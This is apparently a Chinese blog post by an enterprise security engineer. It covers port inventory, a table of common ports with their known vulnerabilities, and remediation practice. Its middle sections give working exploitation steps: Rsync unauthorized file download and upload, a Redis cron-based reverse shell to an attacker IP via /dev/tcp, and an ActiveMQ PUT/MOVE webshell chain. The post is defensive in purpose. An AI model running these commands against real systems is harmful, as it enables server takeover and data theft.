1. 前言
先简单自我介绍一下,其实,我是一个安全工程师。现就职于某互联网金融企业负责公司整体网络安全。
刚到公司时首先是了解一些企业规则和规则制定者,当然了我的工作主要是安全。初来乍到,先了解下公司的IT资产,收集完IT资产后,做一个IP资产开放端口的梳理,端口信息的收集这是一个很重要的过程,因为渗透实战中对端口的渗透是常用手段。
1. 常见应用的默认端口
2. 端口的banner信息
3. 端口上运行的服务
4. 可能存在漏洞
端口信息的获取,最为常见的应该就是nmap(端口信息比较详细)、御剑(只显示开放的端口,速度很快),也可以结合其他的主机漏洞扫描工具对端口扫描,如天镜、极光、nusses都可以扫描端口和一些漏洞。
2. 常见端口威胁
通过端口来进行渗透会很大提升渗透成功效率,在工作中发现运维人员开放了很多端口,很多网上曝过的漏洞可以找到,对于个人来说,这是个学习、实践的机会,连环境都搭好了,但对于企业来说这是个很危险的事情。
在运维部这边遇到安全问题大部分是跟端口、口令相关,开发部那边的情况另说。这里例举了一些常见的端口及可能存在的安全问题,当然了,端口还是要结合服务来看。这里的端口也并不全,我一般看到端口就会去想它的服务,去百度查可能有哪些安全漏洞,大部分是从CVE、CNVD、安全厂商公证号、各大安全论坛也包括freebuf获取漏洞信息。也做过针对企业具体IP的端口、服务、软件版本的资产服务列表,这样有新的漏洞曝出来,就能很快知道哪些服务器可能有安全风险。
序号类型端口软件/服务名称可能存在的漏洞/利用方式1中间件6379Redis1)未授权访问2中间件8161Apache Group ActiveMQ1)远程代码执行3中间件873Rsync1)远程代码执行4中间件9001Supervisor1)远程命令执行漏洞。5中间件4899Radmin1)密码爆破
2)远程命令执行 || 6 | 中间件 | 2181 | Zookeeper | 1)未授权访问 || 7 | 中间件 | 11211 | memcached | 1)未授权访问 || 8 | 中间件 | 2375 | Docker | 1未授权访问 || 9 | 中间件 | 7001/7002 | weblogic | 1)密码爆破2)Java反序列化漏洞3)任意文件泄漏 || 10 | 中间件 | 8080 | Resin | 1)目录遍历2)远程文件读取 || 11 | 中间件 | 8080 | GlassFish | 1)弱口令2)任意文件读取3)认证绕过 || 12 | 中间件 | 9990 | jboss | 1)密码爆破2)远程代码执行3)Java反序列化 || 13 | 中间件 | 9043 | Websphere | 1)密码爆破2)任意文件泄露3)java反序列化 || 14 | 中间件 | 80/81/443 | IIS | 1)PUT写文件2)ms150343)http.sys内存下载4)解析漏洞5)短文件名泄漏 || 15 | 中间件 | 80/8080 | Apache | 1)解析漏洞2)目录遍历3)任意文件上传4)密码爆破 || 16 | 中间件 | 80/8080 | Tomcat || 17 | 中间件 | 80/8080 | Nginx | 1)整数溢出2)目录遍历下载3)文件类型解析漏洞 || 18 | 中间件 | 8080/8089 | Jenkins | 1)口令爆破2)未授权访问3)反序列化 || 19 | 服务类 | 161 | SNMP | 1)未授权访问 || 20 | 服务类 | 443 | HTTPS服务 | 1)SSL心脏滴血 || 21 | 服务类 | 2049 | NFS | 1)未授权访问 || 22 | 服务类 | 445 | Samba-NetBIOS服务 | 1)MS17-010漏洞2)MS06-040漏洞3)病毒入口 || 23 | 服务类 | 135 | RPC(远程过程调用)服务 | 1)利用RPC漏洞攻击计算机2)病毒入口 || 24 | 服务类 | 139 | Samba-文件和打印共享 | 1)IPC$共享后的空链接漏洞2)病毒入口 || 25 | 服务类 | 137 | Samba-NetBIOS 名字服务 | 1)利用RPC漏洞攻击计算机2)病毒入口3)暴力破解 || 26 | 服务类 | 3389 | Windows远程连接 | 1)Shift粘滞键后门2)密码爆破3)利用ms12-020攻击3389端口 || 27 | 服务类 | 22 | SSH | 1)密码爆破2)防火墙SSH后门3)OpenSSL漏洞 || 28 | 服务类 | 23 | telnet | 1)使用明文传输技术-嗅探2)暴力破解 || 29 | 服务类 | 53 | DNS | 1)远程溢出2)DNS欺骗攻击3)拒绝服务攻击4)DNS域传送信息泄露5)DNS劫持6)DNS缓存投毒7)DNS隧道技术刺穿防火墙 || 30 | 服务类 | 389 | LDAP | 1)注入2)未授权访问3)弱密码 || 31 | 数据库 | 1521 | oracle | 1)各种版本的漏洞2)密码爆破3)远程溢出 || 32 | 数据库 | 1433 | SQLServer | 1)各种版本的漏洞2)密码爆破3)远程溢出 || 33 | 数据库 | 3306 | mysql | 1)各种版本的漏洞2)密码爆破3)自定义函数 || 34 | 其他软件 | 5631 | symantecpcanywhere | 1)各种版本的漏洞 || 35 | 其他软件 | 5900/5900 | VNC | 1)密码验证绕过2)拒绝服务攻击3)权限提升4)密码爆破 || 36 | 其他软件 | 8649 | ganglia | 1)未授权访问 || 37 | 其他软件 | 5632 | Pcanywhere | 1)提权控制服务:2)拒绝服务攻击:3)代码执行 || 38 | 其他软件 | 21 | FTP | 1)远程溢出2)暴力破解3)匿名访问—未授权访问4)配置不当,直接 cd / && dir5)使用明文传输技术-嗅探6)后门技术7)跳转攻击 || 39 | 其他软件 | 81 | ipcam | 1)暴力破解2)可以基于NTP的反射和放大攻击3)NTP反射型doos攻击 |
3. 端口漏洞测试
端口漏洞也是挺多的,以下3种漏洞在企业内网比较常见,在外网一般都是做了毕竟严端口控制,外网端口控制简单很多,不像内网架构那么复杂。
3.1 Rsync未授权访问漏洞
3.1.1 漏洞信息
漏洞名称:Rsync未授权访问漏洞
漏洞详情:Rsync因配置不当,导致未授权访问,可未授权上传、下载服务器文件。
Rsync 是一个通过检查文件的时间戳和大小,来跨计算机系统高效地传输和同步文件的工具。通常情况下,管理程序在启动Rsync 服务后,会直接运行传输任务。如果 Rsync 服务未经过安全加固,出现未授权访问等安全问题;其直接后果是传输数据裸露在网络中,可以被任何人访问获取,带来严重的数据泄露风险。
漏洞等级:高危
3.1.2 漏洞测试
一、查看泄露文件
root@kali:~# rsync 192.168.3.XXX::
root@kali:~# rsync 192.168.3.XXX::routing
查看routing目录
二、下载文件
下载routing目录中MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt文件到攻击电脑的root目录:
root@kali:~#rsync -avz 192.168.3.xxx::routing/MFPRDAPP_192.168.3.xxx_report_OS_2018-01-14-01:05:01.txt/root
可以看到成功下载文件到攻击电脑root目录了:
三、上传文件
把攻击电脑root目录中ylr180119.jsp文件上传到靶机服务器routing目录:
root@kali:~# rsync -avz ylr180119.jsp 192.168.3.xxx::routing
登录192.168.3.xxx服务器,看到ylr180119.jsp文件成功上传了:
后续的操作姿势看个人喜好了,这里只是验证这个漏洞可以被利用入侵服务器。
3.2 Redis服务器远程执行漏洞
3.2.1 漏洞信息
漏洞名称:Redis服务器远程执行漏洞
利用原理:主要是通过无密码登录redis,然后往redis缓存写入数据库,再通过redis缓存保存到redis服务器任意目录。
漏洞等级:高危
3.2.2 漏洞测试
为了验证漏洞影响,搭建了测试redis服务器,进行漏洞攻击测试。
搭建测试环境:
1)redis服务器安装redis_version:2.8.17
2)redis服务器(靶机)IP:192.168.20.105
3)攻击电脑,IP:192.168.20.102
测试过程(利用反弹shell控制服务器):
1、由于redis服务器默认是没有设redis访问密码,攻击电脑可直接向rides服务器缓存写入一个反弹shell,每分钟执行一次
root@kali:~/redis-2.8.17/src# echo -e “\n\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.20.102/8880>&1\n\n”|/root/redis-2.8.17/src/redis-cli -h 192.168.20.105 -p6379 -x set 1
2、登录redis服务器redis服务,进行备份/创建一个/var/spool/cron目录root文件
root@kali:~/redis-2.8.17/src# ./redis-cli -h 192.168.20.105 -p 6379 config set dir/var/spool/cron config set dbfilename root save
3、攻击电脑上监听反弹shell,成功连接了redis服务器,可执行任意操作
当然还有其他的利用姿势,如:
1)写入SSH的key,然后利用key远程登录;
2)替换redis服务器passwd文件;
3)写入网马(前提需要找到网站路径);
3.3 ApacheActiveMQ远程代码执行漏洞
3.3.1 漏洞信息
漏洞名称:Apache ActiveMQ远程代码执行漏洞
利用原理:主要是通过破解账号密码登录Apache ActiveMQ,然后往Apache ActiveMQ目录写入数据库,再通过MOVE保存数据到服务器任意目录。
漏洞等级:高危
3.3.2 漏洞测试
一、上传小马
首先 PUT 一个 jsp 的 Webshell 到 fileserver 目录
1、修改PUT /fileserver/ / 为PUT/fileserver/xiaoma.jsp
2、在下方空白处填写小马内容
3、访问http://192.168.20.101:8161/fileserver/xiaoma.jsp,输入账号密码admin/admin登录成功,看到小马上传成功
二、移动小马到tomcat目录
MOVE/fileserver/xiaoma.jsp Destination:file:///root/apache-tomcat-7.0.69/webapps/ROOT/xiaoma2.jsp
三、使用小马上传大马
使用小马客户端上传大马shell.jsp
四、访问大马成功
可以使用大马去管理服务器为所欲为…为所欲为…
4. 关于端口与口令安全
纵观端口与口令安全威胁,很多情况是因为默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。对于端口与口令的安全使用,建议可以参考如下措施:
1、采用白名单形式配置主机防火墙/网络防火墙访问控制策略,设置仅允许某IP访问服务某端口。
2、关闭非必要端口,尤其是非必要端口不要开放外网访问。
(很多木马工具也有特定的端口,一些端口由于配置原因容易被恶意人员利用。)
3、设置强壮口令,并定期修改口令。
(密码爆破技术最简单,往往采用字典和社工结合能进行最大效果的爆破。)
4、尽量采用密码防爆破,配合使用如限制次数、验证码等。
5、重要系统尽量使用双因子验证。
6、不要以明文方式传输账号密码。
7、远程运维尽量采用VPN连接方式。
8、尽量以非管理员用户运行服务程序。
9、及时升级版本、打补丁。
强壮口令是指有以下特征的密码:
1) 同时具备大写和小写字符;
2) 同时具备字母、数字和特殊符号,特殊符号例如:!@#$%^&*()_ |~-=`{}[]:”;’<>?,./) ;
3) 8个字符或者以上;
4) 不是字典上的单词或者汉语拼音;
5) 不基于个人信息、名字和家庭信息。
5. 关于安全整改
当收集完端口信息后,我发现很多问题,跟运维人员、开发人员聊过人生。发现运维人员、开发人员不太懂安全,而安全人员也不太懂运维和开发,至少我之前是这样的。拿端口和弱口令来说,对于安全人员来说,发现了这个问题一般的建议:改口令、关端口;限制IP访问;打补丁/升级版本;删除一些配置文件。实际情况中运维或开发会反馈:
1)口令更改会涉及一些应用调用,需要同时改好几个地方的配置;
2)有其他系统需要调用这些端口,整改起来很麻烦;
3)linux防火墙还好限IP,windows防火墙有不少坑,网络防火墙限IP可能要改好几个防火墙,而且防火墙策略已经很乱;
4)一些补丁打不上,版本不能升不了级,甚至不能升级和打补丁;
5)这个问题好像没什么影响,我慢点改,最后可能不了了之;
6)有没有更简单的方法,我选更简单的。
我只是个安全工程师,招入职我的领导升上去了,坚强的后盾没了,还好这么多年的工作经验在运维和开发都懂一些,安全工作也还是要继续:
1)把整改的方法一一分析,讨论可行性,甚至还把一些操作步骤给做成手册,甚至还写过杀毒软件的安装和配置使用手册;
2)把问题风险列出来,甚至进行成功渗透,必要时发个安全通告、安全预警之类,主要是要引起对问题的重视,同时也要避免出问题担责。
漏洞成功利用了,整改操作手册也有了,各位大佬同意整改了,然后就是漏洞跟踪形成闭环。